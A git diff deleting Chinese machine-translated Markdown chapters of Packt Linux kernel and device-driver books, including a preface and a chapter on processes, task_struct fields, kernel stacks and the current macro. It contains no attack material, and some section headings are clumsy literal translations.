a/docs/master-linux-device-driver-dev/SUMMARY.md b/docs/master-linux-device-driver-dev/SUMMARY.md deleted file mode 100644 index cc24728b..00000000 --- a/docs/master-linux-device-driver-dev/SUMMARY.md +++ /dev/null @@ -1,19 +0,0 @@ -+ [精通 Linux 设备驱动开发](README.md) -+ [零、前言](00.md) -+ [第一部分:嵌入式设备驱动开发的内核核心框架](sec1.md) - + [一、面向嵌入式开发人员的 Linux 内核概念](01.md) - + [二、利用 Regmap API 并简化代码](02.md) - + [三、深入研究 MFD 子系统和 Syscon API](03.md) - + [四、公共时钟框架](04.md) -+ [第二部分:嵌入式 Linux 系统中的多媒体与节能](sec2.md) - + [五、ALSA SoC 框架——利用编解码器和平台类驱动](05.md) - + [六、ALSA SoC 框架——深入研究机器类驱动](06.md) - + [七、V4L2 和视频捕获设备驱动揭秘](07.md) - + [八、与 V4L2 异步和媒体控制器框架集成](08.md) - + [九、从用户空间利用 V4L2API](09.md) - + [十、Linux 内核电源管理](10.md) -+ [第三部分:了解其他 Linux 内核子系统的最新信息](sec3.md) - + [十一、编写 PCI 设备驱动](11.md) - + [十二、利用 NVMEM 框架](12.md) - + [十三、看门狗设备驱动](13.md) - + [十四、Linux 内核调试提示和最佳实践](14.md) diff --git a/docs/master-linux-device-driver-dev/sec1.md b/docs/master-linux-device-driver-dev/sec1.md deleted file mode 100644 index 490ef310..00000000 --- a/docs/master-linux-device-driver-dev/sec1.md +++ /dev/null @@ -1,10 +0,0 @@ -# 第一部分:嵌入式设备驱动开发的内核核心框架 - -本节介绍 Linux 内核,介绍 Linux 内核提供的抽象层和工具,以减少开发工作量。 此外,在这一节中,我们将了解 Linux 时钟框架,多亏了它,系统上的大多数外围设备都是由它驱动的。 - -本节包含以下章节: - -* [*第 1 章*](01.html#_idTextAnchor015),面向嵌入式开发人员的 Linux 内核概念 -* [*第 2 章*](02.html#_idTextAnchor030),利用 Regmap API 并简化代码 -* [*第 3 章*](03.html#_idTextAnchor039),深入研究 MFD 子系统和 Syscon API -* [*第 4 章*](04.html#_idTextAnchor047),冲击公共时钟框架 \ No newline at end of file diff --git a/docs/master-linux-device-driver-dev/sec2.md b/docs/master-linux-device-driver-dev/sec2.md deleted file mode 100644 index c49d7ca9..00000000 --- a/docs/master-linux-device-driver-dev/sec2.md +++ /dev/null @@ -1,12 +0,0 @@ -# 第二部分:嵌入式 Linux 系统中的多媒体与节能 - -本节将在 Linux 内核电源管理子系统的帮助下,以一种简单但节能的方式向您介绍使用最广泛的 Linux 内核多媒体子系统 V4L2 和 ALSA SoC。 - -本节包含以下章节: - -* [*第 5 章*](05.html#_idTextAnchor124),ALSA SoC 框架-利用编解码器和平台类驱动 -* [*第 6 章*](06.html#_idTextAnchor204),ALSA SoC 框架-深入研究机器类驱动 -* [*第 7 章*](07.html#_idTextAnchor287),揭开 V4L2 和视频捕获设备驱动的神秘面纱 -* [*第 8 章*](08.html#_idTextAnchor342),与 V4L2 异步和媒体控制器框架集成 -* [*第 9 章*](09.html#_idTextAnchor396),从用户空间利用 V4L2API -* [*第 10 章*](10.html#_idTextAnchor455),Linux 内核电源管理 \ No newline at end of file diff --git a/docs/master-linux-device-driver-dev/sec3.md b/docs/master-linux-device-driver-dev/sec3.md deleted file mode 100644 index 4b4f1a49..00000000 --- a/docs/master-linux-device-driver-dev/sec3.md +++ /dev/null @@ -1,10 +0,0 @@ -# 第三部分:了解其他 Linux 内核子系统的最新信息 - -本节深入研究一些有用的 Linux 内核子系统,这些子系统没有得到足够的讨论,或者可用的文档不是最新的。 本节将逐步介绍 PCI 设备驱动开发,利用 NVMEM 和 Watchdog 框架,并通过一些提示和最佳实践提高效率。 - -本节包含以下章节: - -* [*第 11 章*](11.html#_idTextAnchor519),编写 PCI 设备驱动 -* [*第 12 章*](12.html#_idTextAnchor608),利用 NVMEM 框架 -* [*第 13 章*](13.html#_idTextAnchor633),Watchdog 设备驱动 -* [*第 14 章*](14.html#_idTextAnchor673),Linux 内核调试提示和最佳实践 \ No newline at end of file diff --git a/docs/master-linux-kernel-dev/00.md b/docs/master-linux-kernel-dev/00.md deleted file mode 100644 index 8c93cb79..00000000 --- a/docs/master-linux-kernel-dev/00.md +++ /dev/null @@ -1,78 +0,0 @@ -# 零、前言 - -*精通 Linux 内核开发*考察 Linux 内核、其内部 -安排和设计,以及各种核心子系统,帮助您 -对这个开放源码奇迹有深刻的理解。 您将看到 Linux 内核是如何由于其伟大的设计而保持如此优雅的,它拥有一种集体智慧,这要归功于它的数十名贡献者。 - -本书还介绍了所有关键的内核代码、核心数据结构、函数和宏,为您全面了解内核核心服务和机制的实现细节奠定了基础。 您还将看到 Linux 内核是设计良好的软件,这使我们能够深入了解软件设计的一般情况,这些软件设计容易扩展,但从根本上讲是强大和安全的。 - -# 这本书涵盖了哪些内容 - -[第 1 章](01.html#J2B80-7300e3ede2f245b0b80e1b18d02a323f),[理解进程、地址空间和线程](01.html#J2B80-7300e3ede2f245b0b80e1b18d02a323f),详细介绍了 Linux 的一个主要抽象,称为进程和整个生态系统,它促进了这种抽象。 我们还将花时间了解地址空间、进程创建和线程。 - -[第 2 章](02.html#2D7TI0-7300e3ede2f245b0b80e1b18d02a323f)*解密进程调度器*解释了进程调度,这是任何操作系统的一个重要方面。 在这里,我们将建立对 Linux 采用的不同调度策略的理解,以交付有效的进程执行。 - -[第 3 章](03.html#3279U0-7300e3ede2f245b0b80e1b18d02a323f),*信号管理*帮助理解信号使用的所有核心方面、它们的表示、数据结构以及用于信号生成和传递的内核例程。 - -[第 4 章](04.html#3HFIU0-7300e3ede2f245b0b80e1b18d02a323f),*内存管理和分配器*,向我们介绍了 Linux 内核最关键的一个方面,理解了内存表示和分配的各种细微差别。 我们还将评估内核在以最低成本最大化资源使用方面的效率。 - -[第 5 章](00.html),*文件系统和文件 I/O*提供了对典型文件系统、其结构、设计以及是什么使其成为操作系统基本部分的一般性理解。 我们还将使用通用的分层体系结构设计来查看抽象,内核通过 VFS 全面吸收这种设计。 - -[第 6 章](06.html#5BL580-7300e3ede2f245b0b80e1b18d02a323f),*进程间通信*涉及内核提供的各种 IPC 机制。 我们将探索每种 IPC 机制的各种数据结构之间的布局和关系,并同时研究 SysV 和 POSIX IPC 机制。 - -[第 7 章](07.html#5UNGG0-7300e3ede2f245b0b80e1b18d02a323f),*虚拟内存管理*解释了内存管理,详细介绍了虚拟内存管理和页表。 我们将研究虚拟内存子系统的各个方面,如进程虚拟地址空间及其段、内存描述符结构、内存映射和 VMA 对象、页面缓存和页表地址转换。 - -[第 8 章](08.html#67A5I0-7300e3ede2f245b0b80e1b18d02a323f),*内核同步和锁定*使我们能够理解内核提供的各种保护和同步机制,并理解这些机制的优缺点。 我们将尝试并欣赏内核在解决这些不同的同步复杂性时所表现出的坚韧不拔的精神。 - -[第 9 章](09.html#6RB1C0-7300e3ede2f245b0b80e1b18d02a323f),*中断和延迟工作*讨论中断,中断是任何操作系统完成必要和优先任务的关键方面。 我们将了解如何在 Linux 中生成、处理和管理中断。 我们还将研究各种底部减半机制。 - -[第 10 章](10.html#7CGBG0-7300e3ede2f245b0b80e1b18d02a323f)**,***时钟和时间管理*揭示了内核如何测量和管理时间。 我们将查看所有与时间相关的关键结构、例程和宏,以帮助我们有效地衡量时间管理。 - -[第 11 章](11.html#83CP00-7300e3ede2f245b0b80e1b18d02a323f),*模块管理*快速介绍了模块、内核管理模块的基础设施以及涉及的所有核心数据结构。 这有助于我们理解内核是如何灌输动态可扩展性的。 - -# 这本书你需要什么? - -除了深入了解 Linux 内核及其设计的细微差别外,您还需要先了解 Linux 操作系统的总体情况,并了解开源软件的概念才能开始阅读本书。 然而,这本书并不具有约束力,任何有敏锐眼力获取有关 Linux 系统及其工作原理的详细信息的人都可以读到这本书。 - -# 这本书是写给谁的? - -* 这本书是为系统编程爱好者和专业人士准备的,他们希望加深对 Linux 内核及其各种集成组件的理解。 -* 对于从事各种内核相关项目的开发人员来说,这是一本方便的书。 -* 软件工程专业的学生可以用它作为理解 Linux 内核的各个方面及其设计原则的参考指南。 - -# 公约 - -在本书中,您将发现许多区分不同类型信息的文本样式。 下面是这些风格的一些例子,并解释了它们的含义。 文本中的代码字、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 句柄如下所示:“在`loop()`函数中,我们读取到传感器的距离值,然后将其显示在串行端口上。” - -代码块设置如下: - -```sh -/* linux-4.9.10/arch/x86/include/asm/thread_info.h */ -struct thread_info { - unsigned long flags; /* low level flags */ -}; -``` - -**新术语**和**重要单词**以粗体显示。 您在屏幕上看到的单词(例如,在菜单或对话框中)会出现在文本中,如下所示:“转到”草图“|”“包含库”|“管理库”,您将看到一个对话框。 - -Warnings or important notes appear like this. Tips and tricks appear like this. - -# 读者反馈 - -欢迎读者的反馈。 让我们知道你对这本书的看法-你喜欢什么或不喜欢什么。 读者反馈对我们很重要,因为它可以帮助我们开发出真正能让您获得最大收益的图书。 要向我们发送一般反馈,只需发送电子邮件`feedback@packtpub.com`,并在邮件主题中提及书名。 如果有一个您擅长的主题,并且您有兴趣撰写或投稿一本书,请参阅我们的作者指南,网址为[www.Packtpub.com/Authors](http://www.packtpub.com/authors)。 - -# 客户支持 - -现在您已经成为 Packt 图书的拥有者,我们有很多东西可以帮助您从购买中获得最大价值。 - -# 错误 / 排错 / 勘误表 - -虽然我们已经竭尽全力确保内容的准确性,但错误还是会发生。 如果您在我们的一本书中发现错误--可能是文本或代码中的错误--如果您能向我们报告,我们将不胜感激。 通过这样做,您可以将其他读者从挫折中解救出来,并帮助我们改进本书的后续版本。 如果您发现任何勘误表,请访问[http://www.packtpub.com/submit-errata](http://www.packtpub.com/submit-errata)进行报告,选择您的图书,单击勘误表提交表链接,然后输入勘误表的详细信息。 一旦您的勘误表被核实,您提交的勘误表将被接受,勘误表将被上传到我们的网站或添加到该书目勘误表部分下的任何现有勘误表列表中。 要查看以前提交的勘误表,请转到[https://www.packtpub.com/books/content/support](https://www.packtpub.com/books/content/support)并在搜索字段中输入图书名称。 所需信息将显示在勘误表部分下。 - -# 海盗行为 / 剽窃 / 著作权侵害 / 非法翻印 - -在互联网上盗版版权材料是所有媒体持续存在的问题。 在 Packt,我们非常重视版权和许可证的保护。 如果您在互联网上发现任何形式的非法复制我们的作品,请立即提供我们的位置、地址或网站名称,以便我们采取补救措施。 请拨打`copyright@packtpub.com`与我们联系,并提供疑似盗版材料的链接。 我们感谢您在保护我们的作者方面的帮助,以及我们为您提供有价值内容的能力。 - -# 问题 / 不确定 / 异议 / 难题 - -如果您对本书的任何方面有任何问题,您可以拨打`questions@packtpub.com`与我们联系,我们将尽最大努力解决问题。 \ No newline at end of file diff --git a/docs/master-linux-kernel-dev/01.md b/docs/master-linux-kernel-dev/01.md deleted file mode 100644 index 0d69c190..00000000 --- a/docs/master-linux-kernel-dev/01.md +++ /dev/null @@ -1,955 +0,0 @@ -# 一、理解进程、地址空间和线程 - -当在当前进程上下文中调用内核服务时,它的布局为更详细地研究内核开辟了正确的道路。 我们在本章的工作集中于理解进程和内核为其提供的底层生态系统。 在本章中,我们将探讨以下概念: - -* 要处理的程序 -* 工艺布局布局 -* 虚拟地址空间 -* 内核和用户空间 -* 流程 API -* 流程描述符 -* 内核堆栈管理 -* 丝线 -* Linux 线程 API -* 数据结构 -* 命名空间和 cgroup - -# 流程 - -从本质上讲,计算系统是为高效运行用户应用而设计、开发并经常进行调整的。 进入计算平台的每个元素都旨在实现有效和高效的应用运行方式。 换句话说,计算系统的存在是为了运行不同的应用。 应用可以在专用设备中作为固件运行,也可以在由系统软件(操作系统)驱动的系统中作为“进程”运行。 - -就其核心而言,进程是内存中程序的运行实例。 从程序到进程的转换发生在程序(在磁盘上)被提取到内存中以供执行时。 - -程序的二进制映像包含**代码**(及其所有二进制指令)和**数据**(包含所有全局数据),它们被映射到具有适当访问权限(读、写和执行)的不同内存区域。 除了代码和数据之外,进程还被分配了额外的内存区域,称为**栈**(用于分配带有自动变量和函数参数的函数调用帧)和*堆*,用于在运行时进行动态分配。 - -同一程序的多个实例可以通过它们各自的内存分配而存在。 例如,对于具有多个打开的选项卡(运行同时浏览会话)的 Web 浏览器,内核将每个选项卡视为一个进程实例,并分配唯一的内存。 - -下图表示内存中的进程布局: - -![](img/00005.jpeg) - -# 称为地址空间的错觉 - -现代计算平台有望有效地处理过多的进程。 因此,操作系统必须为物理内存(通常是有限的)内的所有竞争进程分配唯一内存,并确保其可靠执行。 在多个进程竞争并同时执行的情况下(*多任务*),操作系统必须确保保护每个进程的内存分配不被其他进程意外访问。 - -为了解决这个问题,内核在进程和物理内存之间提供了一个抽象级别,称为*虚拟**地址空间*。 虚拟地址空间是进程的内存视图;它是正在运行的程序查看内存的方式。 - -虚拟地址空间造成了一种错觉,即每个进程在执行时都独占整个内存。 这种抽象的内存视图称为*虚拟内存*,由内核的内存管理器与 CPU 的 MMU 协作实现。 每个进程都被赋予一个连续的 32 位或 64 位地址空间,该地址空间由体系结构限定,并且对于该进程是唯一的。 由于每个进程都被 MMU 限制在其虚拟地址空间中,因此进程访问其边界之外的地址区域的任何尝试都将触发硬件故障,从而使内存管理器能够检测并终止违规进程,从而确保保护。 - -下图描绘了为每个争用进程创建的地址空间假象: - -![](img/00006.jpeg) - -# 内核和用户空间 - -现代操作系统不仅防止一个进程访问另一个进程,还防止进程意外地访问或操作内核数据和服务(因为内核由所有进程共享)。 - -操作系统通过将整个内存划分为两个逻辑部分(用户空间和内核空间)来实现这种保护。 这种分叉确保分配了地址空间的所有进程都映射到内存的用户空间部分,并且内核数据和服务在内核空间中运行。 内核与硬件协同实现这种保护。 当应用进程执行来自其代码段的指令时,CPU 在用户模式下运行。 当一个进程打算调用内核服务时,它需要将 CPU 切换到特权模式(内核模式),这是通过称为 API(应用编程接口)的特殊功能来实现的。 这些 API 使用户进程能够使用特殊的 CPU 指令切换到内核空间,然后通过*系统调用*执行所需的服务。 在完成请求的服务时,内核使用另一组 CPU 指令执行另一个模式切换,这一次是从内核模式返回到用户模式。 - -System calls are the kernel's interfaces to expose its services to application processes; they are also called *kernel entry points*. As system calls are implemented in kernel space, the respective handlers are provided through APIs in the user space. API abstraction also makes it easier and convenient to invoke related system calls. - -下图显示了虚拟化内存视图: - -![](img/00007.jpeg) - -# 流程上下文 - -当进程通过系统调用请求内核服务时,内核将代表调用方进程执行。 内核现在被认为是在*进程上下文*中执行的。 类似地,内核还响应由其他硬件实体引发的*中断*;在这里,内核在*中断上下文*中执行。 在中断上下文中,内核不代表任何进程运行。 - -# 流程描述符 - -从进程诞生到退出,是内核的进程管理子系统执行各种操作,从创建进程、分配 CPU 时间、事件通知到终止时销毁进程。 - -除了地址空间,内存中的进程还被分配了一个称为*进程描述符*的数据结构,内核使用它来标识、管理和调度进程。 下图描述了内核中的进程地址空间及其各自的进程描述符: - -![](img/00008.jpeg) - -在 Linux 中,进程描述符是``中定义的`struct task_struct`类型的实例,它是核心数据结构之一,包含进程持有的所有属性、标识详细信息和资源分配条目。 查看`struct task_struct`就像是窥探内核在管理和调度进程时所看到或使用的内容。 - -由于任务结构包含广泛的数据元素集,这些数据元素与各种内核子系统的功能相关,因此在本章中讨论所有元素的目的和范围将是断章取义的。 我们将考虑与流程管理相关的几个重要元素。 - -# 流程属性-关键元素 - -流程属性定义流程的所有关键和基本特征。 这些元素包含流程的状态和标识以及其他重要的关键值。 - -# 状态 / 国家 / 政府 / 领土 - -进程从产生到退出可能存在各种状态,称为*进程状态*--它们定义了进程的当前状态: - -* **TASK_RUNNING**(0):任务正在执行或争用调度程序运行队列中的 CPU。 -* **TASK_INTERRUPTABLE**(1):任务处于可中断等待状态;它一直处于等待状态,直到等待的条件变为真,例如互斥锁可用、设备准备好 I/O、睡眠时间已过或独占唤醒。 在此等待状态下,为该进程生成的任何信号都会被传送,导致它在满足等待条件之前被唤醒。 -* **TASK_KILLABLE**:这类似于**TASK_INTERRUPTABLE**,不同之处在于中断只能在致命信号上发生,这使得它成为**TASK_INTERRUPTABLE**更好的替代方案。 -* **TASK_UNINTERRUTPIBLE**(2):任务处于类似于**TASK_INTERRUPTABLE**的不可中断等待状态,不同之处在于向休眠进程生成的信号不会导致唤醒。 当它正在等待的事件发生时,流程转换到**TASK_RUNNING**。 此进程状态很少使用。 -* **TASK_STOPPED**(4):任务已收到停止信号。 收到 CONTINUE 信号(SIGCONT)后,它将恢复运行。 -* **TASK_TRACED**(8):进程在被梳理时被称为跟踪状态,可能是由调试器进行的。 -* **exit_zombie**(32):进程终止,但其资源尚未回收。 -* **EXIT_DEADE**(16):在父进程使用*WAIT*收集子进程的退出状态后,子进程被终止并释放其持有的所有资源。 - -下图描述了流程状态: - -![](img/00009.jpeg) - -# 管路及仪表布置图 / 比例-积分-微分 / 新闻处 - -此字段包含称为**PID**的唯一进程标识符。 Linux 中的 PID 类型为`pid_t`(整数)。 虽然 PID 是一个整数,但默认的最大 PID 数是通过`/proc/sys/kernel/pid_max`接口指定的 32,768 个。 此文件中的值可以设置为任何值,最大值为 222(`PID_MAX_LIMIT`,大约 400 万)。 - -为了管理 PID,内核使用位图。 该位图允许内核跟踪正在使用的 PID,并为新进程分配唯一的 PID。 每个 PID 由 PID 位图中的一个位标识;PID 的值由其相应位的位置确定。 位图中值为 1 的位表示对应的 PID 在*中使用*,值为 0 的位表示空闲 PID。 每当内核需要分配唯一的 PID 时,它都会查找第一个未设置的位并将其设置为 1,反之,为了释放 PID,它会将相应的位从 1 切换到 0。 - -# 非常感谢。 - -此字段包含线程组 ID。 为便于理解,假设在创建新进程时,其 PID 和 TGID 相同,因为该进程恰好是唯一的线程。 当进程产生新线程时,新子进程将获得唯一的 PID,但会继承父进程的 TGID,因为它属于相同的线程组。 TGID 主要用于支持多线程进程。 我们将在本章的线程部分深入研究更多细节。 - -# 线程信息 - -此字段保存处理器特定的状态信息,是任务结构的关键元素。 本章后面几节详细介绍了`thread_info`的重要性。 - -# 标出 / 悬旗于 / 标记 - -标志字段记录与进程相对应的各种属性。 该字段中的每个位对应于进程生命周期中的各个阶段。 每进程标志在``中定义: - -```sh -#define PF_EXITING /* getting shut down */ -#define PF_EXITPIDONE /* pi exit done on shut down */ -#define PF_VCPU /* I'm a virtual CPU */ -#define PF_WQ_WORKER /* I'm a workqueue worker */ -#define PF_FORKNOEXEC /* forked but didn't exec */ -#define PF_MCE_PROCESS /* process policy on mce errors */ -#define PF_SUPERPRIV /* used super-user privileges */ -#define PF_DUMPCORE /* dumped core */ -#define PF_SIGNALED /* killed by a signal */ -#define PF_MEMALLOC /* Allocating memory */ -#define PF_NPROC_EXCEEDED /* set_user noticed that RLIMIT_NPROC was exceeded */ -#define PF_USED_MATH /* if unset the fpu must be initialized before use */ -#define PF_USED_ASYNC /* used async_schedule*(), used by module init */ -#define PF_NOFREEZE /* this thread should not be frozen */ -#define PF_FROZEN /* frozen for system suspend */ -#define PF_FSTRANS /* inside a filesystem transaction */ -#define PF_KSWAPD /* I am kswapd */ -#define PF_MEMALLOC_NOIO0 /* Allocating memory without IO involved */ -#define PF_LESS_THROTTLE /* Throttle me less: I clean memory */ -#define PF_KTHREAD /* I am a kernel thread */ -#define PF_RANDOMIZE /* randomize virtual address space */ -#define PF_SWAPWRITE /* Allowed to write to swap */ -#define PF_NO_SETAFFINITY /* Userland is not allowed to meddle with cpus_allowed */ -#define PF_MCE_EARLY /* Early kill for mce process policy */ -#define PF_MUTEX_TESTER /* Thread belongs to the rt mutex tester */ -#define PF_FREEZER_SKIP /* Freezer should not count it as freezable */ -#define PF_SUSPEND_TASK /* this thread called freeze_processes and should not be frozen */ -``` - -# 退出代码和退出信号 - -这些字段包含任务的退出值和导致终止的信号的详细信息。 子进程终止时,父进程将通过`wait()`访问这些字段。 - -# 科姆 / 人名 / 参见 comms - -此字段保存用于启动进程的二进制可执行文件的名称。 - -# Ptrace - -此字段在使用`ptrace()`系统调用将进程置于跟踪模式时启用和设置。 - -# 流程关系-关键要素 - -每个进程都可以与父进程相关,从而建立父子关系。 同样,由同一进程产生的多个进程称为*同级进程*。 这些字段确定当前流程如何与另一个流程相关。 - -# 真实父项和父项(_A) - -这些是指向父级任务结构的指针。 对于正常进程,这两个指针引用相同的`task_struct`*;*它们只对使用`posix`线程实现的多线程进程有所不同。 在这种情况下,`real_parent`指的是父线程任务结构,父指的是 SIGCHLD 被传递到的进程任务结构。 - -# 孩子们(child 的复数) - -这是指向子任务结构列表的指针。 - -# 兄弟,姊妹,同胞 - -这是指向同级任务结构列表的指针。 - -# 组长 - -这是一个指向流程组长任务结构的指针。 - -# 计划属性-关键元素 - -所有竞争的进程都必须获得公平的 CPU 时间,这需要基于时间片和进程优先级进行调度。 这些属性包含调度程序在决定哪个进程在竞争时获得优先级时使用的必要信息。 - -# PRIO 和 STATIC_PRIO - -`prio`帮助确定调度进程的优先级。 如果为进程分配了实时调度策略,则此字段保存在`1`到`99`(由`sched_setscheduler()`指定)范围内的进程的静态优先级。 对于正常进程,此字段保存从 NICE 值派生的动态优先级。 - -# Se、rt 和 dl - -每个任务都属于一个调度实体(任务组),因为调度是在每个实体级别上完成的。 `se`用于所有正常进程,`rt`用于实时进程,`dl`用于截止日期进程。 我们将在关于日程安排的下一章中详细讨论这些属性。 - -# 政策 / 方针 / 权宜之举 / 保险单 - -此字段包含有关进程调度策略的信息,有助于确定其优先级。 - -# 允许的 CPU_ - -此字段指定进程的 CPU 掩码,即有资格在多处理器系统中调度进程的 CPU。 - -# RT_ 优先级 - -此字段指定实时调度策略要应用的优先级。 对于非实时流程,此字段未使用。 - -# 工艺限制--关键要素 - -内核施加资源限制,以确保在竞争的进程之间公平分配系统资源。 这些限制保证了随机进程不会垄断资源所有权。 有 16 种不同类型的资源限制,`task structure`指向类型为`struct rlimit`*,*的数组,其中每个偏移量保存特定资源的当前和最大值。 - -```sh -/*include/uapi/linux/resource.h*/ -struct rlimit { - __kernel_ulong_t rlim_cur; - __kernel_ulong_t rlim_max; -}; -These limits are specified in *include/uapi/asm-generic/resource.h* - #define RLIMIT_CPU 0 /* CPU time in sec */ - #define RLIMIT_FSIZE 1 /* Maximum filesize */ - #define RLIMIT_DATA 2 /* max data size */ - #define RLIMIT_STACK 3 /* max stack size */ - #define RLIMIT_CORE 4 /* max core file size */ - #ifndef RLIMIT_RSS - # define RLIMIT_RSS 5 /* max resident set size */ - #endif - #ifndef RLIMIT_NPROC - # define RLIMIT_NPROC 6 /* max number of processes */ - #endif - #ifndef RLIMIT_NOFILE - # define RLIMIT_NOFILE 7 /* max number of open files */ - #endif - #ifndef RLIMIT_MEMLOCK - # define RLIMIT_MEMLOCK 8 /* max locked-in-memory - address space */ - #endif - #ifndef RLIMIT_AS - # define RLIMIT_AS 9 /* address space limit */ - #endif - #define RLIMIT_LOCKS 10 /* maximum file locks held */ - #define RLIMIT_SIGPENDING 11 /* max number of pending signals */ - #define RLIMIT_MSGQUEUE 12 /* maximum bytes in POSIX mqueues */ - #define RLIMIT_NICE 13 /* max nice prio allowed to - raise to 0-39 for nice level 19 .. -20 */ - #define RLIMIT_RTPRIO 14 /* maximum realtime priority */ - #define RLIMIT_RTTIME 15 /* timeout for RT tasks in us */ - #define RLIM_NLIMITS 16 -``` - -# 文件描述符表-关键元素 - -在进程的生命周期中,它可以访问各种资源文件来完成其任务。 这会导致打开、关闭、读取和写入这些文件的过程。 系统必须跟踪这些活动;文件描述符元素帮助系统知道进程持有哪些文件。 - -# 上士 / 同 Flight Sergeant - -文件系统信息存储在此字段中。 - -# 文件夹 / 卷宗 / 文件 / 锉刀 - -文件描述符表包含指向进程打开以执行各种操作的所有文件的指针。 FILES 字段包含指向此文件描述符表的指针。 - -# 信号描述符-关键元素 - -对于处理信号的进程,*任务结构*具有确定必须如何处理信号的各种元素。 - -# 暗号 / 信号 / 表示 / 起因 - -它的类型为`struct signal_struct`*,*,它包含与该过程相关的所有信号的信息。 - -# 签名 - -它的类型为`struct sighand_struct`*,*,它包含与该进程相关联的所有信号处理程序。 - -# Sigset_t 阻塞,REAL_BLOCKED - -这些元素标识当前被进程屏蔽或阻止的信号。 - -# 悬而未决的 / 待定的 / 行将发生的 - -这是类型`struct sigpending`*,*,它标识已生成但尚未传送的信号。 - -# SAS_SS_SP - -此字段包含指向备用堆栈的指针,这有助于信号处理。 - -# S_ss_s_s_ - -此字段显示用于信号处理的备用堆栈的大小。 - -# 内核堆栈 - -使用由能够同时运行应用的多核硬件驱动的当代计算平台,内置了多个进程在请求相同进程时同时启动内核模式切换的可能性。 为了能够处理这种情况,内核服务被设计为可重入的,允许多个进程介入并使用所需的服务。 这要求请求进程维护其自己的私有内核堆栈,以跟踪内核函数调用序列、存储内核函数的本地数据等。 - -内核堆栈直接映射到物理内存,要求该布置在物理上处于连续区域中。 对于 x86-32 和大多数其他 32 位系统,内核堆栈的默认大小为 8KB(可以选择在内核构建期间配置 4k 内核堆栈),在 x86-64 系统上为 16KB。 - -当在当前进程上下文中调用内核服务时,它们需要在进程提交任何相关操作之前验证进程的特权。 要执行此类验证,内核服务必须能够访问当前进程的任务结构并查看相关字段。 类似地,内核例程可能需要访问当前的`task structure`来修改各种资源结构,如信号处理程序表、查找挂起信号、文件描述符表和内存描述符等。 为了能够在运行时访问`task structure`,当前`task structure`的地址被加载到处理器寄存器(所选寄存器是特定于体系结构的),并通过名为`current`(在特定于体系结构的内核标题`asm/current.h`中定义)的内核全局宏提供: - -```sh - /* arch/ia64/include/asm/current.h */ - #ifndef _ASM_IA64_CURRENT_H - #define _ASM_IA64_CURRENT_H - /* - * Modified 1998-2000 - * David Mosberger-Tang , Hewlett-Packard Co - */ - #include - /* - * In kernel mode, thread pointer (r13) is used to point to the - current task - * structure. - */ - #define current ((struct task_struct *) ia64_getreg(_IA64_REG_TP)) - #endif /* _ASM_IA64_CURRENT_H */ - /* arch/powerpc/include/asm/current.h */ - #ifndef _ASM_POWERPC_CURRENT_H - #define _ASM_POWERPC_CURRENT_H - #ifdef __KERNEL__ - /* - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License - * as published by the Free Software Foundation; either version - * 2 of the License, or (at your option) any later version. - */ - struct task_struct; - #ifdef __powerpc64__ - #include - #include - static inline struct task_struct *get_current(void) - { - struct task_struct *task; - - __asm__ __volatile__("ld %0,%1(13)" - : "=r" (task) - : "i" (offsetof(struct paca_struct, __current))); - return task; - } - #define current get_current() - #else - /* - * We keep `current' in r2 for speed. - */ - register struct task_struct *current asm ("r2"); - #endif - #endif /* __KERNEL__ */ - #endif /* _ASM_POWERPC_CURRENT_H */ -``` - -然而,在寄存器受限的体系结构中,可供备用的寄存器很少,因此保留寄存器来保存当前任务结构的地址是不可行的。 在这样的平台上,当前进程的`task structure`直接在它拥有的内核堆栈的顶部可用。 通过仅屏蔽堆栈指针的最低有效位,这种方法在定位`task structure`方面具有显著优势。 - -随着内核的发展,`task structure`变得太大,无法包含在内核堆栈中,而内核堆栈已经受到物理内存(8KB)的限制。 结果,`task structure`被移出了内核堆栈,只保留了定义进程的 CPU 状态和其他低级处理器特定信息的几个关键字段。 然后,这些字段被包装在一个名为`struct thread_info`*的新创建的结构中。* 此结构包含在内核堆栈的顶部,并提供指向当前`task structure`的指针,内核服务可以使用该指针。 - -以下代码片段显示了 x86 体系结构(内核 3.10)的`struct thread_info`: - -```sh -/* linux-3.10/arch/x86/include/asm/thread_info.h */ struct thread_info { - struct task_struct *task; /* main task structure */ - struct exec_domain *exec_domain; /* execution domain */ - __u32 flags; /* low level flags */ - __u32 status; /* thread synchronous flags */ - __u32 cpu; /* current CPU */ - int preempt_count; /* 0 => preemptable, <0 => BUG */ - mm_segment_t addr_limit; - struct restart_block restart_block; - void __user *sysenter_return; - #ifdef CONFIG_X86_32 - unsigned long previous_esp; /* ESP of the previous stack in case of - nested (IRQ) stacks */ - __u8 supervisor_stack[0]; - #endif - unsigned int sig_on_uaccess_error:1; - unsigned int uaccess_err:1; /* uaccess failed */ -}; -``` - -对于包含与进程相关的信息的`thread_info`,除了`task structure`之外,内核对当前进程结构有多个观点:`struct task_struct`,一个独立于体系结构的信息块,以及`thread_info`,一个特定于体系结构的信息块。 下图描述了**THREAD_INFO**和**TASK_STRUT**: - -![](img/00010.jpeg) - -对于使用`thread_info`*、*的体系结构,修改当前宏的实现以查看内核堆栈的顶部,以获得对当前`thread_info`的引用,并通过它获得对`current task structure`的引用。 以下代码片段显示了用于 x86-64 平台的 Current 的实现: - -```sh - #ifndef __ASM_GENERIC_CURRENT_H - #define __ASM_GENERIC_CURRENT_H - #include - - #define get_current() (current_thread_info()->task) - #define current get_current() - - #endif /* __ASM_GENERIC_CURRENT_H */ - /* - * how to get the current stack pointer in C - */ - register unsigned long current_stack_pointer asm ("sp"); - - /* - * how to get the thread information struct from C - */ - static inline struct thread_info *current_thread_info(void) - __attribute_const__; - - static inline struct thread_info *current_thread_info(void) - { - return (struct thread_info *) - (current_stack_pointer & ~(THREAD_SIZE - 1)); - } -``` - -随着最近`PER_CPU`变量的使用增多,进程调度器被调优为在`PER_CPU`区域中缓存关键的当前进程相关信息。 这一更改允许通过查找内核堆栈快速访问当前进程数据。 下面的代码片段显示了通过`PER_CPU`变量获取当前任务数据的当前宏的实现: - -```sh - #ifndef _ASM_X86_CURRENT_H - #define _ASM_X86_CURRENT_H - - #include - #include - - #ifndef __ASSEMBLY__ - struct task_struct; - - DECLARE_PER_CPU(struct task_struct *, current_task); - - static __always_inline struct task_struct *get_current(void) - { - return this_cpu_read_stable(current_task); - } - - #define current get_current() - - #endif /* __ASSEMBLY__ */ - - #endif /* _ASM_X86_CURRENT_H */ -``` - -`PER_CPU`数据的使用导致了`thread_info`中信息的逐渐减少。 